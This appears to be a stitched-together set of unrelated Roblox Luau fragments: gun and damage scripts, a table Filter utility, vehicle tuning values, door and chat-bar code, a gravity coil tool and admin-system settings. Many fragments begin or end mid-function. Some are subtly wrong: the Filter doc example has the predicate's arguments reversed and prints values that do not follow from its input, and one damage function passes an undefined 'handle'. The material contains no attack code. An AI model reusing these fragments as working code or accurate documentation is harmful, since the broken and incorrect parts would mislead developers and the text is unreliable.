flare.MuzzleFlash.Enabled = true
--Handle.Smoke.Enabled=true --This is optional
end
if MyMouse then
local targetPoint = MyMouse.Hit.p
local shootDirection = (targetPoint - Handle.Position).unit
-- Adjust the shoot direction randomly off by a little bit to account for recoil
shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
(0.5 - math.random()) * 2 * Spread,
(0.5 - math.random()) * 2 * Spread) * shootDirection
local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
local bullet
-- Create a bullet here
if hitObject then
bullet = CreateBullet(bulletPos)
end
if hitObject and hitObject.Parent then
local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid")
if hitHumanoid then
local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
TagHumanoid(hitHumanoid, MyPlayer)
hitHumanoid:TakeDamage(Damage)
if bullet then
bullet:Destroy()
bullet = nil
WeaponGui.Crosshair.Hit:Play()
--bullet.Transparency = 1
end
Spawn(UpdateTargetHit)
end
end
end
AmmoInClip = AmmoInClip - 1
UpdateAmmo(AmmoInClip)
end
wait(FireRate)
end
Handle.Flash.Enabled = false
IsShooting = false
flare.MuzzleFlash.Enabled = false
--Handle.Smoke.Enabled=false --This is optional
if AmmoInClip == 0 then
Handle.Tick:Play()
--WeaponGui.Reload.Visible = true
Reload()
end
if RecoilTrack then
RecoilTrack:Stop()
end
end
end
local TargetHits = 0
function UpdateTargetHit()
TargetHits = TargetHits + 1
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then
WeaponGui.Crosshair.TargetHitImage.Visible = true
end
wait(0.5)
TargetHits = TargetHits - 1
if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then
WeaponGui.Crosshair.TargetHitImage.Visible = false
end
end
function UpdateCrosshair(value, mouse)
if WeaponGui then
local absoluteY = 650
WeaponGui.Crosshair:TweenSize(
UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
Enum.EasingDirection.Out,
Enum.EasingStyle.Linear,
0.33)
end
end
function UpdateAmmo(value)
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then
WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
if value > 0 and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then
WeaponGui.Crosshair.ReloadingLabel.Visible = false
end
end
if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then
WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
end
end
function OnMouseDown()
LeftButtonDown = true
OnFire()
end
function OnMouseUp()
LeftButtonDown = false
end
function OnKeyDown(key)
if string.lower(key) == 'r' then
Reload()
if RecoilTrack then
RecoilTrack:Stop()
end
end
end
function OnEquipped(mouse)
Handle.EquipSound:Play()
Handle.EquipSound2:Play()
Handle.UnequipSound:Stop()
RecoilAnim = WaitForChild(Tool, 'Recoil')
ReloadAnim = WaitForChild(Tool, 'Reload')
FireSound = WaitForChild(Handle, 'FireSound')
MyCharacter = Tool.Parent
MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter)
MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
MyTorso = MyCharacter:FindFirstChild('Torso')
MyMouse = mouse
WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone()
if WeaponGui and MyPlayer then
WeaponGui.Parent = MyPlayer.PlayerGui
UpdateAmmo(AmmoInClip)
end
if RecoilAnim then
RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
end
if ReloadAnim then
ReloadTrack = MyHumanoid:LoadAnimation(ReloadAnim)
end
if MyMouse then
-- Disable mouse icon
MyMouse.Icon = "http://www.roblox.com/asset/?id=18662154"
MyMouse.Button1Down:connect(OnMouseDown)
MyMouse.Button1Up:connect(OnMouseUp)
MyMouse.KeyDown:connect(OnKeyDown)
end
end
|
--// Damage Settings
|
Damage = 600;
HeadDamage = 690; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
--//Custom Functions\\--
|
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
debris:AddItem(Creator_Tag, 0.3)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function TextEffects(element, floatAmount, direction, style, duration)
element:TweenPosition(UDim2.new(0, math.random(-40, 40), 0, -floatAmount), direction, style, duration)
wait(0.5)
for i = 1, 60 do
element.TextTransparency = element.TextTransparency + 1/60
element.TextStrokeTransparency = element.TextStrokeTransparency + 1/60
wait(1/60)
end
element.TextTransparency = element.TextTransparency + 1
element.TextStrokeTransparency = element.TextStrokeTransparency + 1
element.Parent:Destroy()
end
function DynamicText(damage, criticalPoint, humanoid)
local bill = Instance.new("BillboardGui", humanoid.Parent.Head)
bill.Size = UDim2.new(0, 50, 0, 100)
local part = Instance.new("TextLabel", bill)
bill.AlwaysOnTop = true
part.TextColor3 = Color3.fromRGB(255, 0, 0)
part.Text = damage
part.Font = Enum.Font.SourceSans
part.TextStrokeTransparency = 0
part.Size = UDim2.new(1, 0, 1, 0)
part.Position = UDim2.new(0, 0, 0, 0)
part.BackgroundTransparency = 1
bill.Adornee = bill.Parent
if damage < criticalPoint then
part.TextSize = 28
part.TextColor3 = Color3.new(1, 0, 0)
elseif damage >= criticalPoint then
part.TextSize = 32
part.TextColor3 = Color3.new(1, 1, 0)
end
spawn(function()
TextEffects(part, 85, Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.75)
end)
end
function DamageAndTagHumanoid(player, humanoid, damage)
hit:FireClient(player)
UntagHumanoid(handle)
print("My Player =", player.Name)
local brd = player:FindFirstChild("leaderstats")
if brd then
brd["Points"].Value = brd["Points"].Value + 1
end
humanoid:TakeDamage(damage) TagHumanoid(humanoid, player)
end
|
-- connect events
|
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)
local runService = game:GetService("RunService");
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
while Wait(0)do
local _,time=wait(0)
move(time)
end
|
------------------------------------------------------------------------
-- works like the lobject.h version except that TObject used in these
-- scripts only has a 'value' field, no 'tt' field (native types used)
------------------------------------------------------------------------
|
function luaU:ttype(o)
local tt = type(o.value)
if tt == "number" then return self.LUA_TNUMBER
elseif tt == "string" then return self.LUA_TSTRING
elseif tt == "nil" then return self.LUA_TNIL
elseif tt == "boolean" then return self.LUA_TBOOLEAN
else
return self.LUA_TNONE -- the rest should not appear
end
end
|
--[=[
@within TableUtil
@function Filter
@param tbl table
@param predicate (value: any, key: any, tbl: table) -> keep: boolean
@return table
Performs a filter operation against the given table, which can be used to
filter out unwanted values from the table.
For example:
```lua
local t = {A = 10, B = 20, C = 30}
local t2 = TableUtil.Filter(t, function(key, value)
return value > 15
end)
print(t2) --> {B = 40, C = 60}
```
]=]
|
local function Filter(t: Table, f: FilterPredicate): Table
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be a function")
local newT = table.create(#t)
if #t > 0 then
local n = 0
for i,v in ipairs(t) do
if f(v, i, t) then
n += 1
newT[n] = v
end
end
else
for k,v in pairs(t) do
if f(v, k, t) then
newT[k] = v
end
end
end
return newT
end
|
-- Landing
|
local canLand = false
local landingSound = Instance.new("Sound")
landingSound.SoundId = "rbxassetid://" .. stompSoundID
landingSound.Name = "LandingSound"
landingSound.PlaybackSpeed = 0.75
landingSound.Volume = 0.85
landingSound.Parent = head
humanoid.StateChanged:Connect(function()
local state = humanoid:GetState()
if (state == Enum.HumanoidStateType.Jumping or state == Enum.HumanoidStateType.Freefall) and canLand == false then
canLand = true
elseif state == Enum.HumanoidStateType.Landed and canLand == true then
if landingSound and landingSound.IsLoaded then
landingSound:Play()
end
defaultSound.TimePosition = 0
canLand = false
end
end)
|
--------------------------------------------------------------------------------------
--------------------[ CONSTANTS ]-----------------------------------------------------
--------------------------------------------------------------------------------------
|
local Gun = script.Parent
local Handle = Gun:WaitForChild("Handle")
local AimPart = Gun:WaitForChild("AimPart")
local Main = Gun:WaitForChild("Main")
local Ammo = Gun:WaitForChild("Ammo")
local ClipSize = Gun:WaitForChild("ClipSize")
local StoredAmmo = Gun:WaitForChild("StoredAmmo")
local LethalGrenades = Gun:WaitForChild("LethalGrenades")
local TacticalGrenades = Gun:WaitForChild("TacticalGrenades")
local S = require(Gun:WaitForChild("SETTINGS"))
local Player = game.Players.LocalPlayer
local Character = Player.Character
local Humanoid = Character:WaitForChild("Humanoid")
local Torso = Character:WaitForChild("Torso")
local Head = Character:WaitForChild("Head")
local HRP = Character:WaitForChild("HumanoidRootPart")
local Neck = Torso:WaitForChild("Neck")
local LArm = Character:WaitForChild("Left Arm")
local RArm = Character:WaitForChild("Right Arm")
local LLeg = Character:WaitForChild("Left Leg")
local RLeg = Character:WaitForChild("Right Leg")
local M2 = Player:GetMouse()
local Main_Gui = script:WaitForChild("Main_Gui")
local RS = game:GetService("RunService").RenderStepped
local Camera = game.Workspace.CurrentCamera
local ABS, HUGE, FLOOR, CEIL = math.abs, math.huge, math.floor, math.ceil
local RAD, SIN, ATAN, COS = math.rad, math.sin, math.atan2, math.cos
local VEC3 = Vector3.new
local CF, CFANG = CFrame.new, CFrame.Angles
local INSERT = table.insert
local MaxStamina = S.SprintTime * 60
local MaxSteadyTime = S.ScopeSteadyTime * 60
local LethalIcons = {
"http://www.roblox.com/asset/?id=194849880";
"http://www.roblox.com/asset/?id=195727791";
"http://www.roblox.com/asset/?id=195728137";
}
local TacticalIcons = {
"http://www.roblox.com/asset/?id=195728473";
"http://www.roblox.com/asset/?id=195728693";
}
local Ignore = {
Character;
Ignore_Model;
}
local StanceOffset = {
VEC3(0, 0, 0);
VEC3(0, -1, 0);
VEC3(0, -3, 0);
}
local Shoulders = {
Right = Torso:WaitForChild("Right Shoulder");
Left = Torso:WaitForChild("Left Shoulder")
}
local ArmC0 = {
CF(-1.5, 0, 0) * CFANG(RAD(90), 0, 0);
CF(1.5, 0, 0) * CFANG(RAD(90), 0, 0);
}
local Sine = function(X)
return SIN(RAD(X))
end
local Linear = function(X)
return (X / 90)
end
|
--[[
Boolean Keyboard:IsDown(keyCode)
Boolean Keyboard:AreAllDown(keyCodes...)
Boolean Keyboard:AreAnyDown(keyCodes...)
Keyboard.KeyDown(keyCode)
Keyboard.KeyUp(keyCode)
--]]
|
local Keyboard = {}
local userInput = game:GetService("UserInputService")
function Keyboard:IsDown(keyCode)
return userInput:IsKeyDown(keyCode)
end
function Keyboard:AreAllDown(...)
for _,keyCode in pairs{...} do
if (not userInput:IsKeyDown(keyCode)) then
return false
end
end
return true
end
function Keyboard:AreAnyDown(...)
for _,keyCode in pairs{...} do
if (userInput:IsKeyDown(keyCode)) then
return true
end
end
return false
end
function Keyboard:Start()
end
function Keyboard:Init()
self.KeyDown = self.Shared.Signal.new()
self.KeyUp = self.Shared.Signal.new()
userInput.InputBegan:Connect(function(input, processed)
if (processed) then return end
if (input.UserInputType == Enum.UserInputType.Keyboard) then
self.KeyDown:Fire(input.KeyCode)
end
end)
userInput.InputEnded:Connect(function(input, processed)
if (processed) then return end
if (input.UserInputType == Enum.UserInputType.Keyboard) then
self.KeyUp:Fire(input.KeyCode)
end
end)
end
return Keyboard
|
---Display enter or flip prompt---
|
function module.ShowPrompt(seat, parent)
if not AdornedSeat then
ContextActionService:BindAction(
SEATING_ACTION_NAME,
seatingAction,
false,
Keymap.EnterVehicleGamepad,
Keymap.EnterVehicleKeyboard
)
if isFlipped(seat) then
FlipImageButton.Visible = true
EnterImageButton.Visible = false
else
FlipImageButton.Visible = false
EnterImageButton.Visible = true
end
AdornedSeat = seat
ButtonGui.Adornee = seat
ButtonGui.Enabled = true
ButtonGui.Parent = parent
if seat.Name == "VehicleSeat" then
EnterImageButton.Image = DriverButtonId
EnterImageButton.Pressed.Image = DriverButtonPressedId
else
EnterImageButton.Image = PassengerButtonId
EnterImageButton.Pressed.Image = PassengerButtonPressedId
end
end
end
function module.HidePrompt()
ContextActionService:UnbindAction(SEATING_ACTION_NAME)
AdornedSeat = nil
ButtonGui.Adornee = nil
ButtonGui.Enabled = false
ButtonGui.Parent = script
end
return module
|
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
|
local AimInaccuracyStepAmount = 0.0133
|
--> Services
|
local TweenService = game:GetService("TweenService")
|
-- For processRecipt
|
function module.applyProductFunction(productId: number, func: productFunction): boolean?
if Functions.products[productId] then return true end
local success, errorMessage, productInfo
success, errorMessage = pcall(function()
productInfo = MarketplaceService:GetProductInfo(productId, Enum.InfoType.Product)
end)
assert(productInfo, `MarketPlace error: {errorMessage}`)
if not productInfo.IsForSale then return nil end
Functions.products[productId] = func
return true
end
|
--[=[
Destroys the ClientRemoteSignal object.
]=]
|
function ClientRemoteSignal:Destroy()
if self._signal then
self._signal:Destroy()
end
end
|
--Function For Making Rays Which Kills Bricks
|
function ray(angle,radius, orig)
----------------SET POSITIONS
local startPos = (orig * CFrame.new(0,0,3) ).p
local secondPos = orig
* CFrame.Angles(0, 0, math.rad(angle))
* CFrame.new(radius,0,-6)
----------------MAKE RAY
local damageRay = Ray.new (startPos,(secondPos - startPos).p)
local hit, position = game.Workspace:FindPartOnRayWithIgnoreList(damageRay, ignoreList)
--if hit then print("Hit: "..hit.Name) else print("Hit: nil") end
----------------DRAW RAY
if makeRays then
local distance = (position - startPos).magnitude
makeRay(CFrame.new(startPos, secondPos.p) * CFrame.new(0, 0, -distance/2),
Vector3.new(0.2, 0.2, distance))
end
if not hit then return end
if hit.Name == "FakeTrack" then
ignoreList[#ignoreList+1] = hit
ray(angle,radius, orig)
return
end
if not hit.Parent then return end
local human = hit.Parent:findFirstChild("Humanoid")
local player = game.Players:findFirstChild(hit.Parent.Name)
if human and player then
if player.TeamColor ~= BrickColor.new("Earth green") then
human:takeDamage(6000)
end
end
if hit.Parent.Name == "Parts" then return end
if hit.Parent.Parent then --look if what we hit is a tank
tank = hit.Parent.Parent:findFirstChild("Tank")
if not tank and hit.Parent.Parent.Parent then
tank = hit.Parent.Parent.Parent:findFirstChild("Tank")
end
end
if not tank or tank == parts.Parent.Parent.Tank then return end
----------------IF ITS A DAMAGEABLE PART
local damagable = hit.Parent:findFirstChild("Damage")
if damagable then
if damagable.Value == "Barrel" and not tank.Parent.GunDamaged.Value and math.random(1,8) == 1 then
tank.Parent.GunDamaged.Value = true
print("Damaged Barrel")
elseif damagable.Value == "LTrack" and not tank.Parent.LTrack.Value and math.random(1,8) == 1 then
tank.Parent.LTrack.Value = true
print("Damaged Left Track")
local list = hit.Parent:getChildren()
local randSide = math.random(1,2)
for i = 1, #list do
if list[i].Name == ("trackDamage"..randSide) then
list[i].Transparency = 1
end
end
elseif damagable.Value == "RTrack" and not tank.Parent.RTrack.Value and math.random(1,8) == 1 then
tank.Parent.RTrack.Value = true
print("Damaged Right Track")
local list = hit.Parent:getChildren()
local randSide = math.random(1,2)
for i = 1, #list do
if list[i].Name == ("trackDamage"..randSide) then
list[i].Transparency = 1
end
end
end
elseif hit.Name == "Fuel" then --if we hit their weak point
tank.Value = BrickColor.new("Black")
else
local damage = hit:findFirstChild("Damage") --Check if There's a Damage Value Already in the Brick
if not damage then
damage = Instance.new("NumberValue")
damage.Parent = hit
damage.Name = "Damage"
local volume = hit.Size.X*hit.Size.Y*hit.Size.Z
damage.Value = volume*hit.Parent.ArmourValue.Value
end
damage.Value = damage.Value - dealingDamage
if damage.Value <= 0 then
if math.random(1,2) == 1 then
hit:BreakJoints()
else
hit:remove()
end
end
end
end
round = Instance.new("Part", user)
round.Name = "RayPart"
round.Material = "Neon"
round.Transparency = 0.5
round.Anchored = true
round.CanCollide = false
round.TopSurface = Enum.SurfaceType.Smooth
round.BottomSurface = Enum.SurfaceType.Smooth
round.formFactor = Enum.FormFactor.Custom
round.BrickColor = BrickColor.new("New Yeller")
yOffset = -0.2
|
--[[Transmission]]
|
Tune.TransModes = {"Auto", "Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.92 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
--[[ 6 ]] 0.64 ,
}
Tune.FDMult = 1.6 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
---------END LEFT DOOR
|
game.Workspace.DoorValues.BackMoving.Value = true
wait(0.1)
until game.Workspace.DoorValues.BackClose.Value=="88"
end
game.Workspace.DoorValues.BackMoving.Value = false
end
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- Finds out which side the player is on and teleports them to the other
|
local function TeleportToOtherSide(character, hitPart)
local bottomOfDoor = VipDoor.CFrame.p - Vector3.new(0, VipDoor.Size.Y / 2, 0)
local inFrontOfDoor = bottomOfDoor + VipDoor.CFrame.lookVector * 8
local behindDoor = bottomOfDoor - VipDoor.CFrame.lookVector * 8
local distanceToFront = (inFrontOfDoor - hitPart.Position).magnitude
local distanceToBack = (behindDoor - hitPart.Position).magnitude
if distanceToFront < distanceToBack then
character:MoveTo(behindDoor)
else
character:MoveTo(inFrontOfDoor)
end
end
|
--[=[
@function isEmpty
@within Sift
@since v0.0.1
@param table table -- The table to check.
@return boolean -- Whether or not the table is empty.
Checks whether or not a table is empty.
```lua
local a = {}
local b = { hello = "world" }
local value = isEmpty(a) -- true
local value = isEmpty(b) -- false
```
]=]
|
local function isEmpty(table: _T.Table): boolean
return next(table) == nil
end
return isEmpty
|
-- Functions
|
workspace.Gravity = gravity
soundService.AmbientReverb = amientReverb
chat.BubbleChatEnabled = bubbleChatEnabled
players.RespawnTime = respawnTime
lighting.ClockTime = clockTime
lighting.FogColor = fogColor
lighting.FogEnd = fogEnd
lighting.FogStart = fogStart
local function onPlayerAdded(player : Player)
local function onCharacterAdded(character : Model)
local humanoid = character:FindFirstChildOfClass("Humanoid")
humanoid.WalkSpeed = walkSpeed
humanoid.JumpPower = jumpPower
end
player.CharacterAdded:Connect(onCharacterAdded)
end
game.Players.PlayerAdded:Connect(onPlayerAdded)
|
--[[Status Vars]]
|
local _IsOn = _Tune.AutoStart
if _Tune.AutoStart then script.Parent.IsOn.Value=true end
local _GSteerT=0
local _GSteerC=0
local _GThrot=0
local _GThrotShift=1
local _GBrake=0
local _ClutchOn = true
local _ClPressing = false
local _RPM = 0
local _HP = 0
local _OutTorque = 0
local _CGear = 0
local _PGear = _CGear
local _spLimit = 0
local _Boost = 0
local _TCount = 0
local _TPsi = 0
local _BH = 0
local _BT = 0
local _NH = 0
local _NT = 0
local _TMode = _Tune.TransModes[1]
local _MSteer = false
local _SteerL = false
local _SteerR = false
local _PBrake = false
local _TCS = _Tune.TCSEnabled
local _TCSActive = false
local _TCSAmt = 0
local _ABS = _Tune.ABSEnabled
local _ABSActive = false
local FlipWait=tick()
local FlipDB=false
local _InControls = false
|
-- Used to lock the chat bar when the user has chat turned off.
|
function methods:DoLockChatBar()
if self.TextLabel then
if LocalPlayer.UserId > 0 then
self.TextLabel.Text = ChatLocalization:Get(
"GameChat_ChatMessageValidator_SettingsError",
"To chat in game, turn on chat in your Privacy Settings."
)
else
self.TextLabel.Text = ChatLocalization:Get(
"GameChat_SwallowGuestChat_Message",
"Sign up to chat in game."
)
end
self:CalculateSize()
end
if self.TextBox then
self.TextBox.Active = false
self.TextBox.Focused:connect(function()
self.TextBox:ReleaseFocus()
end)
end
end
function methods:SetUpTextBoxEvents(TextBox, TextLabel, MessageModeTextButton)
-- Clean up events from a previous setup.
for name, conn in pairs(self.TextBoxConnections) do
conn:disconnect()
self.TextBoxConnections[name] = nil
end
--// Code for getting back into general channel from other target channel when pressing backspace.
self.TextBoxConnections.UserInputBegan = UserInputService.InputBegan:connect(function(inputObj, gpe)
if (inputObj.KeyCode == Enum.KeyCode.Backspace) then
if (self:IsFocused() and TextBox.Text == "") then
self:SetChannelTarget(ChatSettings.GeneralChannelName)
end
end
end)
self.TextBoxConnections.TextBoxChanged = TextBox.Changed:connect(function(prop)
if prop == "AbsoluteSize" then
self:CalculateSize()
return
end
if prop ~= "Text" then
return
end
self:CalculateSize()
if utf8.len(utf8.nfcnormalize(TextBox.Text)) > ChatSettings.MaximumMessageLength then
TextBox.Text = self.PreviousText
else
self.PreviousText = TextBox.Text
end
if not self.InCustomState then
local customState = self.CommandProcessor:ProcessInProgressChatMessage(TextBox.Text, self.ChatWindow, self)
if customState then
self.InCustomState = true
self.CustomState = customState
end
else
self.CustomState:TextUpdated()
end
end)
local function UpdateOnFocusStatusChanged(isFocused)
if isFocused or TextBox.Text ~= "" then
TextLabel.Visible = false
else
TextLabel.Visible = true
end
end
self.TextBoxConnections.MessageModeClick = MessageModeTextButton.MouseButton1Click:connect(function()
if MessageModeTextButton.Text ~= "" then
self:SetChannelTarget(ChatSettings.GeneralChannelName)
end
end)
self.TextBoxConnections.TextBoxFocused = TextBox.Focused:connect(function()
if not self.UserHasChatOff then
self:CalculateSize()
UpdateOnFocusStatusChanged(true)
end
end)
self.TextBoxConnections.TextBoxFocusLost = TextBox.FocusLost:connect(function(enterPressed, inputObject)
self:CalculateSize()
if (inputObject and inputObject.KeyCode == Enum.KeyCode.Escape) then
TextBox.Text = ""
end
UpdateOnFocusStatusChanged(false)
end)
end
function methods:GetTextBox()
return self.TextBox
end
function methods:GetMessageModeTextButton()
return self.GuiObjects.MessageModeTextButton
end
|
---This server script creates the sounds and also exists so that it can be easily copied into an NPC and create sounds for that NPC.
--Remove the local script if you copy this into an NPC.
|
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then return child end
while true do
child = parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
function newSound(name, id)
local sound = Instance.new("Sound")
sound.SoundId = id
sound.Name = name
sound.archivable = false
sound.Parent = script.Parent.Head
return sound
end
|
-------- OMG HAX
|
r = game:service("RunService")
Tool = script.Parent
local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass
local gravity = .9999999999999999 -- things float at > 1
local ghostEffect = nil
local massCon1 = nil
local massCon2 = nil
function recursiveGetLift(node)
local m = 0
local c = node:GetChildren()
for i=1,#c do
if c[i].className == "Part" then
if c[i].Name == "Handle" then
m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height
else
m = m + (c[i]:GetMass() * equalizingForce * gravity)
end
end
m = m + recursiveGetLift(c[i])
end
return m
end
function onMassChanged(child, char)
print("Mass changed:" .. child.Name .. " " .. char.Name)
if (ghostEffect ~= nil) then
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
end
end
function UpdateGhostState(isUnequipping)
if isUnequipping == true then
ghostEffect:Remove()
ghostEffect = nil
massCon1:disconnect()
massCon2:disconnect()
else
if ghostEffect == nil then
local char = Tool.Parent
if char == nil then return end
ghostEffect = Instance.new("BodyForce")
ghostEffect.Name = "GravityCoilEffect"
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
ghostEffect.Parent = char.Head
ghostChar = char
massCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end)
massCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end)
end
end
end
function onEquipped()
Tool.Handle.CoilSound:Play()
UpdateGhostState(false)
end
function onUnequipped()
UpdateGhostState(true)
end
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)
|
--[=[
Adds the remote function mixin to a class
```lua
local BaseObject = require("BaseObject")
local Bird = setmetatable({}, BaseObject)
Bird.ClassName = "Bird"
Bird.__index = Bird
require("PromiseRemoteEventMixin"):Add(Bird, "BirdRemoteEvent")
function Bird.new(inst)
local self = setmetatable(BaseObject.new(inst), Bird)
self:PromiseRemoteEvent():Then(function(remoteEvent)
self._maid:GiveTask(remoteEvent.OnClientEvent:Connect(function(...)
self:_handleRemoteEvent(...)
end)
end)
return self
end
```
@param class { _maid: Maid }
@param remoteEventName string
]=]
|
function PromiseRemoteEventMixin:Add(class, remoteEventName)
assert(type(class) == "table", "Bad class")
assert(type(remoteEventName) == "string", "Bad remoteEventName")
assert(not class.PromiseRemoteEventMixin, "Class already has PromiseRemoteEventMixin defined")
assert(not class._remoteEventName, "Class already has _remoteEventName defined")
class.PromiseRemoteEvent = self.PromiseRemoteEvent
class._remoteEventName = remoteEventName
end
|
-- to avoid nested ifs in deserializing
|
local float_types = {
[4] = {little = rd_flt_le, big = rd_flt_be},
[8] = {little = rd_dbl_le, big = rd_dbl_be},
}
|
--Make sure the boat does not fall apart
|
do
WeldParts(parts, center)
end
|
--[[
When the character is added, teleport them to the spawn, and attach interest to the character.
]]
|
local function onCharacterAdded(player, character)
character:SetPrimaryPartCFrame(CFrame.new(-28, 217, 9))
connectInterestToCharacter(character)
character.Humanoid.Died:Connect(
function()
wait(5)
player:LoadCharacter()
end
)
end
local PlayerGame = {}
|
--------------| SYSTEM SETTINGS |--------------
|
Prefix = ":"; -- The character you use before every command (e.g. ';jump me').
SplitKey = " "; -- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').
BatchKey = ""; -- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'
QualifierBatchKey = ","; -- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)
Theme = "Purple"; -- The default UI theme.
NoticeSoundId = 2865227271; -- The SoundId for notices.
NoticeVolume = 0.1; -- The Volume for notices.
NoticePitch = 1; -- The Pitch/PlaybackSpeed for notices.
ErrorSoundId = 2865228021; -- The SoundId for error notifications.
ErrorVolume = 0.1; -- The Volume for error notifications.
ErrorPitch = 1; -- The Pitch/PlaybackSpeed for error notifications.
AlertSoundId = 3140355872; -- The SoundId for alerts.
AlertVolume = 0.5; -- The Volume for alerts.
AlertPitch = 1; -- The Pitch/PlaybackSpeed for alerts.
WelcomeBadgeId = 0; -- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.
CommandDebounce = true; -- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.
SaveRank = true; -- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.
LoopCommands = 3; -- The minimum rank required to use LoopCommands.
MusicList = {505757009,}; -- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.
ThemeColors = { -- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};
{"Red", Color3.fromRGB(150, 0, 0), };
{"Orange", Color3.fromRGB(150, 75, 0), };
{"Brown", Color3.fromRGB(120, 80, 30), };
{"Yellow", Color3.fromRGB(130, 120, 0), };
{"Green", Color3.fromRGB(0, 120, 0), };
{"Blue", Color3.fromRGB(0, 100, 150), };
{"Purple", Color3.fromRGB(100, 0, 150), };
{"Pink", Color3.fromRGB(150, 0, 100), };
{"Black", Color3.fromRGB(60, 60, 60), };
};
Colors = { -- The colours for ChatColors and command arguments. | Format: {"ShortName", "FullName", Color3Value};
{"r", "Red", Color3.fromRGB(255, 0, 0) };
{"o", "Orange", Color3.fromRGB(250, 100, 0) };
{"y", "Yellow", Color3.fromRGB(255, 255, 0) };
{"g", "Green" , Color3.fromRGB(0, 255, 0) };
{"dg", "DarkGreen" , Color3.fromRGB(0, 125, 0) };
{"b", "Blue", Color3.fromRGB(0, 255, 255) };
{"db", "DarkBlue", Color3.fromRGB(0, 50, 255) };
{"p", "Purple", Color3.fromRGB(150, 0, 255) };
{"pk", "Pink", Color3.fromRGB(255, 85, 185) };
{"bk", "Black", Color3.fromRGB(0, 0, 0) };
{"w", "White", Color3.fromRGB(255, 255, 255) };
};
ChatColors = { -- The colour a player's chat will appear depending on their rank. '["Owner"] = "Yellow";' makes the owner's chat yellow.
[5] = "Yellow";
};
Cmdbar = 3; -- The minimum rank required to use the Cmdbar.
Cmdbar2 = 3; -- The minimum rank required to use the Cmdbar2.
ViewBanland = 3; -- The minimum rank required to view the banland.
OnlyShowUsableCommands = false; -- Only display commands equal to or below the user's rank on the Commands page.
RankRequiredToViewPage = { -- || The pages on the main menu ||
